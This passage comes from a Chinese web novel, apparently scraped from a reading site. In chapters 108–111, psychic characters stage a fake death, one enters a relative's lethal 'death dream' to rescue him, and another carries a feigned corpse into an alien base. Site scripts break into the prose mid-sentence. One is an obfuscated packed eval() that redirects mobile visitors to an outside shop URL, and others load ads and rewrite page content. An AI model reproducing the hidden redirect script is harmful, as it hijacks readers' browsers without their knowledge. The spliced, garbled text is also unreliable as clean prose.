徐飞扬心里搓火,身上伤还没好利索,脚步还带着颤,只能继续扶着石壁一步步往回走。正在他凭着记忆辨位时,他面朝的方向忽然炸起耀眼的金色,又极快地淹没在了极光里。 他微微一愣,努力加快了脚步往金色的方向去。 而当徐飞扬拖着虚弱的步伐走出石阵时,他身上的伤也好得差不多了,却先被眼前的情状惊了惊。 沈千峻和周亦知分别倒在地上,不,周亦知人躺在雪地上,脑袋却枕在织梦的腿上,双眼紧闭。抱着他的织梦眼神呆滞,整个人僵在那儿,似乎停在了抱着周亦知脑袋的这一刻。 而他一路追随而来的金色,此刻正站在他不远的前方,金光收敛得只余身边的一圈若隐若现。 果然是顾深浅。 顾深浅看着这一地的混乱似乎没有任何震惊,又或者她眼中此刻已经看不到其他了。她向着沈千峻在的地方径直走去,颤抖的双手把沈千峻冻得僵硬的身体抱在怀里,喃喃地说:“你怎么,冷得像尸体。” 徐飞扬大惊,飞奔过来跪倒在沈千峻身边,伸出手。 没有心跳,没有鼻息,没有生命体征。 他瞳孔骤缩。 他们的出现终于让织梦有了一点反应,他恍然初醒地说:“老大可以救!我可以救他!我来!” 顾深浅没有听,她俯身吻上沈千峻的眉心,缕缕金光自她身上发散,一点点将他们环绕起来,把二人围成了一个泛着淡金色的光圈,牢不可破,密不可分。 织梦眼中闪过一丝迷茫,徐飞扬担忧地戳他:“你还好吧?发生什么事了?他……他又是怎么了?” 他搂着周亦知的手紧了紧,嗓音干涩:“他死了。” 徐飞扬错愕地望向周亦知,他脸上苍白得不带血色,表情却比徐飞扬这几年来见他的任何一次都更平和。 就好像……织梦刚把他带回来那天。 “我赶回来的时候,老大倒在地上,是他动的手。我借由比试的名义,在我和他的精神领域都埋了一个足以溺死的循环梦境,是一种致死梦。” 徐飞扬:“你想和他同归于尽?” 织梦没答,他垂下眼,指节拂过周亦知合着的眼角:“公平比试,比的是造梦的本事。谁能先从对方设下的梦境里走出来,谁自然就赢了。我没有想到,他给我看的会是他的记忆。” “什么记忆?” “很多。”织梦说,“包括,从海朝府开始,他一直是老大埋在虫子里的卧底。” “你说什么?!” “虫子并不信任他,我在他的脑中发现了监视他的程序。直到现在,他死在我布下的梦境里,程序才停止运行。我才能和你说这些。”织梦说,“我很愧疚,可致死梦一旦开始,我也无法停下。我做好了和他一起离开的准备,却被他的力量拉出了梦境。” 徐飞扬听得迷糊:“他不是被你困住了吗?” “是困住了,是他也早在我的精神领域藏了一手。”织梦笑着,却看得人发苦,“他藏着的力量,是为我挡去一次致命伤害的。” 他想和他同归于尽,却最终被周亦知所救。 他活了下来,并亲手杀死了周亦知。 徐飞扬沉默了半晌,忽然伸手握住了周亦知的手腕,他的精神力先是探入了一簇,片刻后,纯净的治愈力源源不断地涌进周亦知的身体。 织梦怔忪:“你这是……?” “试试。”徐飞扬说,“如果顾深浅能救老大,兴许也能保他一命。” 他看了眼旁边的金色,眼底是藏不住的担忧。 而这一团金色里,顾深浅的精神力自他眉间流入,被认为“没有生命体征”的沈千峻幽幽睁了眼。 他仰视着她面无表情的脸,忽然弯了嘴角:“事情办完了?” 顾深浅笑不出来:“完了。” 她身上沾着雪,露出的脸颊冻得通红,气息才刚刚平稳一些,处处是急着来找他的痕迹。却一直绷着脸,口气比外面的冰天雪地还冷。 沈千峻的角度看,似乎还微微噘着嘴。 他笑意深了点。 顾深浅挑了挑眉:“不问问我处理结果?” “你办事,我不过问。” “胡扯。”顾深浅冷笑,“你是看准了,事情没有尘埃落定我不会过来。这个时候极光区天还没塌,我既然过来了,当然是把人送回去了。” “有区别吗?” “当然有,但不重要。”顾深浅看着他这副好整以暇的神情,冷漠地说:“重要的是,你为什么让我处理这件事。” 沈千峻却没有如她预料的收敛笑意:“出发前我好像就告诉你了。” “那不是全部的原因。” “你觉得还有什么?” 顾深浅注视着他的眼中倒映出的金色,认真地问:“我不知道。” 她说:“你能告诉我吗?” “你知道的。”沈千峻抬起胳膊,按在她嘴角向上扬,“这不就来找我兴师问罪了。” 顾深浅含糊着说:“唔没有。” “板着个脸,凶巴巴的,还没有?”他说,“吓死我了。” 她握着他的手扒下来,执拗地又问了一遍:“你能告诉我吗?” 她无声的注视下,沈千峻带着无奈说:“你不想被依附我,我也不想在没有我的场合,还有人说‘你没穷过’,或者更过分的话。” “哦。”顾深浅总结,“你是说想帮我服众。” “我只给你机会。其他的,都看你自己。” “那我的做法,你满意吗?” “你所处的立场必须救人,我知道。”沈千峻说,“你救他们是为了特监处,是为了我。” “立场。”顾深浅重复着这两个字,眸中跃动的金色更盛:“你觉得我在为了立场,无视他们的自由意志。” “倒不如说是,你为了我,无法成全他们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729542|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自由意志。” 你是不是还在恨我,为什么不成全你的自由意志? 顾深浅张张嘴,没问出口。 沈千峻的胳膊不知什么时候环到了她身后,力道猝不及防袭来,顾深浅被按在他坚硬的胸膛。 “我知道,你都理解了。”沈千峻的声音自头顶传来,显得格外温柔,“我知道,你是最能共情的人。有些事只要你见过看过,即刻就能感同身受。你只是一直被拘束着,以前是不可抗力,现在是我。” 顾深浅想说“没有”,嗓子却像被什么堵着,说不出话。 “你之前跟我说的话,我都记着。”沈千峻说,“我什么都会告诉你,适合你的也都会安排你去办,但也仅此而已。” “其他的,什么都没有。”他说,“别瞎想。” 顾深浅眼眶通红:“你心里不希望我放他们自由吗?” “希望。”沈千峻诚实地说,“但当我看见你时候我就知道了,你也想放他们自由的。” “这就够了吗?”顾深浅问,“我心里也想,就够了吗?” 沈千峻揉揉她的后脑勺:“很够了。” 顾深浅身上的金色元素逐渐汇聚到她的眼中,凝聚成一点金色,消失在瞳孔里。 她从地上起来,试图把赖在地上的沈千峻也扶起来,却惨遭拒绝。当事人无辜地说:“还没演完,要是起身,一会儿就不够冷了。” 顾深浅攥着他冰冷的手,索性在一边盘腿坐下。沈千峻倒是没有反对,只是扫了她一眼,提醒道:“给自己垫一层结界隔温,地上太冰了。” 她依言照做,故作漫不经心地说:“这又是演哪出?我还是头一次见你这么虚弱。” 她顿了顿,话里带着后怕:“也不知道谁吓死谁了。” “我说加固城防也不是骗你的。”沈千峻说,“城防越厚,能挡住的自然越多,城防稳了,我虚弱点正常。” “就你一个人?” “还有先锋队,分点行动。” 顾深浅“哦”了声,“人少方便你和周亦知接头是吧。” “三城这么大,时间有限,都在一个点哪来得及。”沈千峻说,“也确实方便接头。” “哼。”顾深浅问,“你和他又在搞什么?我来的时候他躺在雪里,织梦抱着他跟丢了魂似的。” “织梦回来了?”沈千峻蹙起眉。 “你这次最好实话实说,别再瞒我。”顾深浅提醒,“你现在劣迹斑斑,可经不住考察。” 沈千峻轻笑了声,竟然真的如实交代道:“按照计划,周亦知截杀最虚弱状态下的我,把我的尸体带进虫子的大本营,我探明情况,里应外合把地球上的虫子都端了。但周亦知跟我通讯得太临时了,当时织梦已经在来的路上。我只好把他支开。但你说织梦回来了,听这情况恐怕还打了一架……周亦知最好是还有行动能力,否则就麻烦了。” 顾深浅来时注意力都在沈千峻身上,只是扫了一眼,还真不确定周亦知的情况。她如实描述:“他躺在织梦腿上,表情很……安详。” “听上去可不太妙。” 沈千峻拧着眉头,忽然意识到什么:“你的精神技能恢复了?” 109. 破局 “一点儿。”顾深浅想了想,“说不好,也不像恢复了。” 沈千峻眉头拧得更深,刚刚还说着“要是起身一会儿就不够冷了”的男人动作利落地翻身坐起,贴上顾深浅的额头。 淡紫色精神体穿过顾深浅额顶肌肤,小心翼翼地进入她的精神领域。 好消息是没有了他首次进入时的风刃群,她也没有任何防御,不怎么好的消息是,她的精神领域变了天。 不再是他当初看到的一片废墟,也没有飞舞的砂砾,没有平地炸起的沙尘,只余一片苍茫金光,和一个黑洞悬在正中。 黑洞足有沈千峻一人大,仿佛在呼吸一般,小幅地膨胀收缩着。沈千峻走近了些,却没有感受到任何力量波动。 顾深浅的精神体凝在他身边:“来的路上出现的。不过精神技能恢复了,精神力似乎也没有影响。就是……总觉得有点害怕。” 沈千峻揉了揉金色小脑袋:“路上还发生了什么?” “没什么特别的。”顾深浅三言两语地说,“织梦说联系不上你,我急匆匆赶来,路上发现联系不上织梦了,接到霍普的消息,说吴源明他们脖子上架刀也要和工厂共存亡。远程解决了问题,精神技能恢复,我找到你。” 他挑眉:“听上去更像是,再一次的觉醒。” 为吴源明众人的行为所触动,囿于立场依然选择了他交代的路。 在她的所爱和她的责任间,依然优先了她的责任。 她还是那个玖安,从不曾改变。 是他想得狭隘了。 而这个效果不明、时效不定的黑洞,更像是她这条觉醒路上的最后一环。 基本排除从外界进去的可能。 她的精神领域防御之牢固,即使未觉醒之时,像往里边动点手脚都得借助混沌元素这种不入流的手段,暗搓搓地潜入。这么大的黑洞,如果真是外来户,她不可能毫无察觉。 顾深浅本人也很赞同:“从我觉醒开始,力量和记忆似乎都是触发了某些条件后一点点丰盈的。作为玖安,我但是封印自己的大部分力量,应该是为了自保。玖安的精神力比起寻常人,哪怕是比起寻常的精神人类都太惊人了,毕竟当时谁也并不知道将来会有一个叫做特监处的地方。” “如果精神力没有被曼巴蒂芬金属吸收,顾深浅从出生就应该是一个精神人类。” 她一点点回忆着说:“如果这次也是一次觉醒,那我迄今为止一共觉醒了三次。第一次在海朝府,碰到金属门,觉醒精神力;第二次是毕业作品照,保护你和天龙,二次觉醒,之后精神力大盛。再到这次,觉醒技能。” 沈千峻:“你是说,现在才是你真正觉醒技能的时候?” “对。”顾深浅说,“我一直以为忘记技能是精神力透支的惩罚,但现在想想我好像并不这么热衷于给自己找事。” 沈千峻望着眼前的黑洞啧声:“不好说。” 小金人胳膊肘杵他:“找事肯定是因为必要。精神力透支就惩罚忘记技能,怎么听都不像我啊?” 沈千峻似笑非笑:“又不像了。” 啧,烦人精。 闹归闹,顾深浅歪头靠在他肩上,对着黑洞叹了口气:“沈千峻,其实我有种感觉。” “什么?” “我觉得,我封印力量,给自己找这些事儿,最终的目的,可能就是眼前这个东西。” 沈千峻没说什么,搂着她的肩转过身,按着小金脑袋:“知道了。” 小金脑袋偷偷扬起嘴角,一金一紫两个身影越来越淡,渐渐消失在苍茫金色里。空荡荡的精神领域再次回归宁静,唯独中央的黑洞规律地“呼吸”着。 沈千峻重新躺回去,雪地里的湿冷重新攀上他的后背,每一寸都是阴湿的凉意。 这足以把普通人冻得发疼的冰雪里,他却面不改色,开口的声音都不带一丝颤抖:“出去看看吧。” “你呢?” “各种意义上,我已经是个死人了。” “啧。” 顾深浅不悦的目光下,沈千峻含笑闭上眼:“去吧。” 随着他阖上的双眼,沈千峻的体温急速骤降,生命力逐渐流逝。前后不到半分钟,他又变成徐飞扬见了也会认定没有生命体征的模样。 就算知道是演戏,还是看得顾深浅一阵心梗。 忽然间,她眼前跃起一道紫色,左右飞舞两圈,乖乖地缠上她的手指,又一路钻进衣袖里。 暖意随着紫色蔓延四肢,顾深浅才发现自己骨节不知什么时候竟已经冻僵了。 她一时忘了心梗,莫名心虚地摸了摸鼻子,撤下了围绕在二人身边的结界“假装”正事要紧。 金光散去,织梦一瞬不眨地盯着,看到顾深浅走来时先是眼前一亮,继而看到依然躺倒的沈千峻时,心狠狠一沉。 徐飞扬脸色本就因为消耗而显得苍白,见到依然躺在地上的沈千峻,更是瞬间变得煞白:“老大他……” 顾深浅没回答,走到周亦知边上蹲下,手指点在他眉心。 徐飞扬见状解释:“他陷入了致死梦,生命体征急速下降,我的治愈力只能维持着他最后一口气。织梦说没人能从致死梦里出来,我们还在想办法。” 他又试探着问:“老大他,还活着吗?” 顾深浅没听到他说什么,她跟着周亦知诡异的精神领域一路探入,周亦知的一生浮光掠影地在她眼前飘过,看到得越多越觉触目惊心。 她眉头一点点收紧,收回了探入的精神力:“你不该这么冒险的。” 随着她的话音落下,点在他眉心的指尖蹚过流水般的金色。 徐飞扬和织梦同时被这股力量惊讶了一瞬。 无论是金色元素里透出的治愈力还是精神控制,都是他们前所未见的强度。 即使他们都已是各自领域的巅峰。 他们能看到的只有金色流转,而此时此刻,就连织梦都无法感知到周亦知精神领域的动静。 浅金色的精神力一路无阻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地破开周亦知自认严密的层层防御,看似锋芒难挡,实际上却很柔和,每一步都小心地控制着力道,才能在周亦知的地盘全程没有引起一丝抵抗。 她找到了周亦知沉睡的豁口,里面正是织梦说的“致死梦”。 联想到她刚刚匆匆看到的画面,顾深浅沉默片刻,忽然双手并拢着道歉:“我不是故意的,都是为了救你。好舅舅,亲舅舅,别再让我看那么刺激的了。” 周亦知无法给她什么回音,精神领域里安静得只有她自己的动静。 象征性地道完歉,浅金色的精神体不怎么客气地进去了周亦知最隐秘的空间。 而当眼前出现外公的脸时,顾深浅自己先怔了怔。 雪白的病房里,周亦知看上去似乎伤得不重,正半倚在病床上思索着什么。 半人高的小不点推开了病房门,噔噔噔跑上前,抱着周亦知就开始扯着嗓子嗷嗷哭。 她的外公跟在后面慢悠悠进来,笑容无奈又宠溺。 是小时候的顾深浅。 顾深浅隐约想起来了这时候。 这是周亦知刚去上学的第一年,刚进实验室就因为同组组员的拙劣失误受伤进了医院,辅导员给外公通讯的时候她在旁边听到了,当时就坐不住了,眼泪不要钱似的流,非要见小舅舅。 浅金色的精神体望着那个抱着周亦知胳膊哭的小丫头,一时有些无言。 看过周亦知一生的遭遇,她设想过周亦知陷入“致死梦”的各种可能,唯独没想过会和自己,和外公有关。 小顾深浅确认周亦知真没什么事儿,终于哭累了。她一边不客气地吃起周亦知桌上的水果,一边开始叨叨着和小舅舅分开的这一年的生活。 被爸爸接回去上学,还要上科学兴趣班,下个月可以参加青少年科技创意赛,班里有好几个小男孩儿给她表白了,学校食堂的菜都没有小舅舅做的好吃…… 周亦知脸上一直淡淡的,偶尔会扯起嘴角,露出一丝不易察觉的笑意,清冷模样和现在很不一样。 外公在旁边给她削苹果,笑着说:“一听你受伤了哭着喊着要来,我跟她说你没大事儿,一点都听不进去。我当她真是担心你,现在看,倒是想你了。” 小顾深浅扁扁嘴:“我是真的担心小舅舅。” 外公说:“就是不想小舅舅呗?” “才没有!” 外公乐了,笑得开怀。顾深浅愤愤地抢过削好皮的苹果,转过身子不搭理他,脑袋上却覆上了周亦知温暖的掌心。 “是联想到小时候的实验室事故,吓坏了吧。” 小顾深浅垂着眸沉默下来,吃得黏糊糊的手一点不讲究地握着周亦知的,仿佛还在后怕。 “你当小舅舅是你呢?那么能耐。”外公心大得很,乐呵地给她拉起来:“脏娃娃,走,外公带你洗手去。” 小娃娃不情不愿地跟着外公去洗手,顾深浅的精神体停留在原地,看着周亦知脸上笑意渐淡,望着他们背影的眼中透出某种决绝。 110. 解梦 顾深浅眸光变得危险,她注视着病床上的周亦知,停在病床的正对面,微微眯起眼,说着笃定的话语:“你能看见我。” 周亦知的视线依然追随着一老一小二人,似乎对金色精神体的存在一无所知。 顾深浅重复了一遍,精神体压低了声音,莫名显得空灵,仿佛女巫是操控人类的咒语。 周亦知的目光果然动了。 顾深浅对着这张久违的年轻的脸挑挑眉:“小舅舅,真没想到是这一天。” 这张脸上露出当年的周亦知不曾有过的笑容:“听说你才是这行的鼻祖,那你应该也清楚,精神控制的梦境本质是人内心的投影。你能看到的恰恰就是你内心想看到的。” 似是想到了什么,周亦知弯着的嘴角淡下来,躲过对视:“我也没想到会是这一天。” “你好像有点误会。”顾深浅说,“我来这里是为了你,此时此刻最想的是把你从‘致死梦’里拉出去。而我看到的是这一天,同时你在这里,你觉得说明了什么?” “这不是我的梦。”周亦知面色不改,“我知道自己的梦是什么。” “是吗?”顾深浅低声问,带着隐秘的哄骗,“是什么?” 周亦知眼中有一瞬的迷离,顾深浅蓦地想起来在他记忆中匆匆一瞥掠过的场景,不过刹那的恍神,周亦知的双眸已经清澈。 他看上去倒是没生气,似笑非笑地说:“果然是鼻祖,差点被你绕进去。” “还是失手了。”顾深浅思考了一秒,单刀直入道:“我想带你走。” 周亦知漫不经心地勾着唇:“我走不了。” “你不想走。” 他的眼中平静无波,顾深浅却从话里听出了丝无奈:“我走不了。” 顾深浅正要说话,“噔噔噔”的脚步声再次传来,小不点的踏着焦急的步伐推开病房的门,以一模一样的姿势抱着周亦知,嗷嗷地哭。 身后跟着她熟悉的老人,笑容中的宠溺都和刚才如出一辙。 她看着小女孩哭,听着小女孩念叨,听着老人和小女孩的对话,老人牵着小女孩再次走出去,周亦知再次远远地目送他们,眼中还是一样的决绝。 这场噩梦般的循环短暂地停留在只有周亦知一人的病房里。而周亦知似乎也再次陷入了梦中,他的视线驻足在合上的房门,仿佛又看不到屋里的金色精神体,也不记得刚才的对话了。 顾深浅慢慢皱起眉。 没错了,这里就是周亦知陷入的“致死梦”。 而那个看上去七八岁的幼女和身体康健的老人,正是周亦知至今未逃过的梦魇。 顾深浅清楚地记得,周亦知实验室事故受伤住院时她十五岁,被童年阴影的实验室事故吓得不轻,得到消息就匆匆赶来,抱着哭也好,叨叨自己的生活也好,都是她真真切切说过的话。 给她削苹果的外公,笑话她的外公,其乐融融的病房,一切都是真的。 区别只在于,她在周亦知的这段梦境里,停留在了七八岁的女孩。 正是周亦知照顾她的那两年。 周亦知十八岁离家上学,顾及孟一兰的感受,他极少回去。 那句指代不明的“他会害死你”没在她或者外公心里种下隔阂,却在周亦知这儿悄悄筑起了围墙。 无论是顾深浅和是外公,每次说要来看他,十次有九次会得到课业繁重,没有时间的回复。 随着顾深浅年龄越大,顾明朗对她的管束越严厉,她参加的比赛越多,就连想起小舅舅的时间也越来越少。 这两年的小侄女终究成了周亦知最宝贵的记忆之一。 可这一天为什么会成为他走不出的梦魇? “致死梦”的叫法是织梦的独创,是她留给织梦的杀招之一,最温柔也最残酷的死法。 对方将永远沉溺在织梦搭建的梦境中,即使意识到这是永无休止的梦境,也不会想要醒来。 搭建这样的梦境,通常会选择在看到对方内心的祈愿后给他最求而不得的东西,并为他搭建出近乎完美的,虚无缥缈的未来。 以顾深浅的匆匆一瞥来看,这段岁月显然不怎么符合要求。 更何况,医院短暂岁月静好的次日,周亦知就迎来的巨大的变故。 也是顾深浅的巨大变故。 浅金色精神体来到病床前,望着周亦知的目光坚定:“外公的死跟你没有关系。” 周亦知瞳孔微缩,眼中有了焦点。 “周亦知,你给我醒过来。” 环境一块一块坍塌,连同周亦知躺着的病床一起成了碎片,他失去支撑,在虚无中找到了支点,堪堪站住。 这不是解梦的前兆。 想到外面雪地躺着的人,顾深浅隐隐焦躁,金色逐渐变深,力量呼之欲出。闪耀金光中,几不可见的一点紫色的小团绕着她的手臂,疾速移动,又疾速消失。 顾深浅勾了勾唇,终是被迫无奈地叹息一声,她的光芒没有本想问周亦知,而是在二人周围搭建了一个不大不小的结界,暂时隔开了深不见底的黑。 周亦知看上去终于神思清明,露出了一个很淡的笑容,和顾深浅记忆里沉默寡言的小舅舅一样的笑:“浅浅。” “舅舅。”她心底暗叹一声,“跟我走吧。外公也不会想看到你有这种结局。” “我知道。”他目光柔软了一瞬,又有些悠远:“但有人想,而我想如他的愿。” 顾深浅拳头紧了又松,松了又紧。 她无法站在自己的立场去批判周亦知做的任何选择。正如沈千峻说的,她是最能共情的人。有些事只要她见过看过,即刻就能感同身受。 无论他做出什么选择,都合情合理,也不是她应该干预的。 哪怕他不选择人类,也再正常不过。 可是…… 她深吸一口气说:“你怎么知道他想?” 周亦知自嘲一笑。 如果他不想,他又何至于此? 周亦知说:“我知道你为什么来,也知道你都看见了。啧,你真的很没有职业道德。” 顾深浅摸摸耳垂。 精神系第一原则,无论任何事件,不得翻看不相关记忆。 这原则是织梦定的,这条全凭自觉无人监督的条例从他开始新生的精神人类都克己复礼规规矩矩遵守了二百年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,就连“叛徒”周亦知都没破过。 她这位鼻祖倒是一点不客气,拢共对两个人出过手,上来先把人家一辈子看完了。 周亦知也并没打算跟她纠结这个:“你能看记忆,能读心吗?” 她点点头,又摇摇头:“可以感知浓烈的情绪,读不到想法。” 周亦知:“那你感知到我现在是什么情绪?” “……我说的浓烈相当于普通人的表层情绪,舅舅。”她一言难尽,“你现在根本没有情绪,你只想放弃。” 周亦知大笑出声,笑得停不下来,顾深浅能感受到他是真心在笑,也能感受到他心底的解脱。 只是没有快乐。 他笑够了,说道:“我跟沈千峻合作唯一的目的,就是为了他。” 他说:“我想和他有未来。” 顾深浅心下暗叹。 周亦知身世坎坷,在母亲的爱恨交织下出生,藏着对父亲的恨长大。有一个看似爱他更把他当工具培养的π星生物的父亲,在最冰冷的地方见识人性的丑恶,是织梦把他带出了火坑。 然后又无情地抛弃了他。 他被封印了记忆,送到顾深浅外公的孤儿院,顾深浅和外公就快要给他一个新家时候,对他最好的人类因为他死在了虫子的手里。 他是半人半虫,可人类对他不好,π星虫子不信任他。 封印破碎,记忆回笼,他恨人类,也恨虫子。 他和顾深浅断绝来往,借π星的手报复织梦,借着自己的身份混进π星,调查杀害顾深浅外公的真正凶手。 他一步步渗透进了π星生物的活体交易链,终于接到了π星人的第一道命令:重伤顾深浅。 他费了好大一番功夫,从和顾深浅作对过的解思涵下手,利用混沌元素控制解思涵,顺便把π星人的大金主拉下水。 周亦知的计划中,没有精神力的顾深浅最后就是受到牵连,暴走了睡一觉。 然而超出他预料的是,沈千峻竟然亲自和徐飞扬来了,同样没预料到顾深浅精神力会强大到众人险些毙命。 更没想到在他计划中应该前去救人的织梦,会出现在海朝府,作为卧底出现在他被人算计去“谈生意”的现场。 打架,亲吻,缠绵,绑定。 短短一夜间,周亦知没算到的事情成倍增加。 和织梦绑定,他大概只会在十六岁前的梦里反复妄想,而真绑上了,才惊觉还是贫瘠限制了想象。 食髓知味,说的就是这了。 他要报仇,要杀光π星虫子,要织梦为自己的行为付出代价。 而现在…… 没有心动哪来的绑定? 既然动了心,他就没有放开的道理。 他和沈千峻合作,想用最快的方法端掉地球上的虫子。 他想和他有未来,而他给了他一个致死梦。 顾深浅又一次无声地叹息:“我不知道他怎么想,但是……织梦同时两个致死梦,还有一个是给他自己的。” 感受到精神领域传来的强烈动荡,顾深浅更进一步,一字一句地说: “现在放弃,一定不值得。” 111. 行动(一) 里面来回往复,外面不过转瞬的工夫。 两双眼睛紧张地盯着周亦知,差别是一个盯着的是她点在周亦知眉心的双指,另一个盯着的是周亦知紧闭的双眸。 对织梦而言,短短瞬息都像无尽长河,他像是在忐忑不安里等待一个既定结果,即使理智一遍遍地告诉他事实如何,依旧控制不住心生期待。 他看着顾深浅睁开的褐瞳,忍不住紧紧盯着膝上面容安详的周亦知。 依然没有一丝苏醒的迹象。 对徐飞扬而言,顾深浅睁开眼的时间刚刚好消化他对她逆天的治愈力的震撼,他上身不住微微前倾,紧张地问:“怎么样?” 顾深浅看了眼半天没动静的周亦知,面上不显,内心却也很惊讶。 她确认周亦知解了梦才出来的,周亦知应该比她先醒才对。 紫色在她衣袖里无声地动了动,像是某种信号。 顾深浅不动声色地挑挑眉,视线在织梦和他环着的周亦知身上来回逡巡片刻,忽然开口:“放下他吧。” 织梦后背一僵:“什么?” 顾深浅顿了顿,说:“他已经醒了。” “他醒了怎么……” 织梦猛地卡住,表情凝固在脸上,慢慢低下头,对着怀中紧闭的双眼,不知在想什么。 徐飞扬脸色微变,刚要张口却见顾深浅对他轻轻摇头。 放下他吧。 他已经醒了。 徐飞扬注视着姿势亲密的两人,连他都感受到了这几个字间的冷酷。 织梦起身的动作并不慢。他几乎算得上轻柔地把人放在地上,隔开周亦知和雪地的恒温结界哪怕在他以为他已经死了的时候也没断过。 同样躺在地上,沈千峻在雪地里跑得湿冷僵硬,周亦知依然温暖干燥。 顾深浅勾了勾藏在衣袖里的手指,感受到若隐若现的温暖缠上来,才暗暗舒了口气。 织梦全程利落,起身的时候却倏地一个踉跄,徐飞扬下意识起身要去扶,人却已经站稳了,一切快得仿佛没发生过。 “我先走了。” 徐飞扬慢慢站直,望着他一点点走远的背影,莫名觉出了丝悲怆的意味。 他收回目光时,却见周亦知不知何时已经睁开了眼,和他望着同一个方向,目送织梦走远。 顾深浅打断了他们的遥望:“起来吧,地上结界该散了。” 事实上,地上结界不仅没散,依然稳稳当当,周亦知一点雪地的湿寒都没吃着。 直到织梦的身影消失在夜色里,周亦知终于撑起了身子。 只是在站起来前,他翻身向下,亲吻了雪地。 无声的亲吻像是一场沉默而盛大的告别仪式,铺在地上的结界像是也感知到了他,泛出阵阵旁人看不到的涟漪。 站在一边的顾深浅感受到轻微的力量波动后,地上的恒温结界已然消散。 周亦知匍匐在地上,接触到雪地的手心和膝盖迅速被打湿,冰凉的寒意一路入侵他的五脏六腑,冻得生疼。 他知道,他这次是真的走了。 他站起来,一言不发地扛起一边尸体般的沈千峻,径直往和织梦截然相反的另一个方向走去。 徐飞扬似乎才回过神,他疾步上前拦人:“你干什么?!放开他!” 周亦知微微侧首,不知从何而来的精神力自他眼中喷涌而出,堪堪从徐飞扬耳边穿过,落在雪地,留下了一道深不见底的印子,也拦住了徐飞扬上前的步伐。 他目光扫向顾深浅:“他交给你。” 不等徐飞扬明白周亦知这话什么意思,他忽然就陷入了一阵极强的困倦中,眼皮不可抗力地合上,很快失去了意识。 顾深浅挥挥手指,徐飞扬被转移到了他和沈千峻来的光轮车上。 车门应声关闭,顾深浅平静而坚定的声音响起:“我跟你们一起去。” “不行。”周亦知拒绝得很快,“如果是随便能混进去的地方,我和沈千峻也没必要折腾这出。” 顾深浅摸摸耳垂。 周亦知对她的力量还是一无所知。 “好吧。”顾深浅耸耸肩,认命地回到车上,对站在原地注视着她的周亦知灿烂一笑,干脆利落地关上了光轮车的车门。 看着光轮车周围浮现的结界隐于空气中,周亦知才重新迈开步子。 他扛着沈千峻一路走上了他们既定的路线,脑中飞快地整理如今的现状。 他和沈千峻的合作只到把他带进π星生物的核心地区,有监控在,他们亲眼看到他杀了沈千峻,确保短时间内沈千峻醒不过来,这具尸体自然会被带入内廷,研究也好虐待也罢,那不是周亦知目前能接触到的范畴了。 π星有政局,有派系,唯独内廷是始终不变的高权限核心领域。哪怕周亦知身为半个同类,也只是被允许参加有限的内廷会议,不被允许停留。周亦知的精神力在那儿完全被抑制,连精神元素都感知不到一点。 如果他是这样,哪怕沈千峻去了,也是一样的。 所以他才果断地拒绝了顾深浅。 一个汇集了π星生物,而他和沈千峻都无法使用精神力的场所,他们的计划是一场豪赌,而这场赌局不能再牵连她。 可织梦出现,他和织梦的比试里,他身陷致死梦,生机湮灭,监控破碎。他和沈千峻的计划被打乱,在π星生物的眼中,他应该是一具尸体了。 “死而复生”的周亦知扛着沈千峻的“尸体”回到基地,没人知道他们脱离监控的时候发生了什么,沈千峻恐怕就不那么容易进入内廷了。 极光区头顶还有不知何时会落下的天灾,覆灭三城不过弹指一瞬,而徐飞扬和顾深浅都还没离开。 ……或许还有他。 周亦知头上悬着的是看不见的倒计时。 思索间,他已经走到了平地的尽头,眼前是一片冰川,漂浮着一座又一座大小不一的冰上。 也是人类严重,π星生物理应最生理性厌恶的地方——海洋。 周亦知站定在岸边,几不可闻地叹了口气,像是某种信号。 而他的背后,半人高的口 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子凭空撕开,诡秘的黑色一点点露出,定格呈竖瞳的形状。 周亦知挺直了背脊。 下一秒,他身上的精神元素都动了起来,仿佛受到了某种隐秘的召唤,同时争先恐后地奔向那道深不可测的黑。 这个过程持续了足足两分钟,周亦知把沈千峻平放在地,他自己则从起初的身姿挺拔一点点力竭到单膝跪地,到后来多久,整个人匍匐在了地上,浑身颤抖,神色痛苦地咬住了自己的衣袖。 两分钟后,竖瞳以同样诡异的方式凭空消失,周亦知艰难地撑起身体,踉踉跄跄地从地上站起来,气息粗重地向前两步,却又力竭地摔了下去。 周亦知滚了个边,搭着的手臂戳了戳沈千峻:“喂,情势所迫,对不住了。” 无人回应的空气里,周亦知用尽最后的力气翻滚到沈千峻身上,半搂着沈千峻,一下接一下地滚进了水里。 冰川下看着是一望无际的深海,实则另藏玄机。 周亦知虽然把自己的力量掏空了,脑子还是正常思考着的。他拽着沈千峻一点点沉入漆黑的深海,但力竭的他感知差了许多,好几次险些迷途。 走岔路时,却又好像福至心灵,总会突然意识到,继而回到那条唯一的通道。 他拽着沈千峻在漆黑的深海一路直下,终于停在了一片暗色中。 周亦知没有张嘴,却发出了阵阵虫鸣,鸣叫声起起伏伏,听不出规律,持续了约莫半分钟后,他们的正对面,巨大的一扇门打开了。 周亦知扶着门进去,海水被什么看不见的东西阻隔在外,里面是截然不同的干燥。 最大的水汽来自周亦知和他刚拖进来的男人。 周亦知把沈千峻甩到一边,自己顺着墙壁瘫坐下去,再一次发出了虫鸣。 这次听上去却虚弱得多。 而周亦知也没想到的是,最先出来的竟然是他认识的人——顾深浅失踪多时的教授,陈希。 “啧。” 漆黑的领域里,一金一紫两个精神体盘腿而坐,眼前显示着巨大的画面,正中央正是陈希含着笑意,一步步走来的身影。 “客观地说,这我确实没想到。”顾深浅说。 沈千峻“嗯”了声。 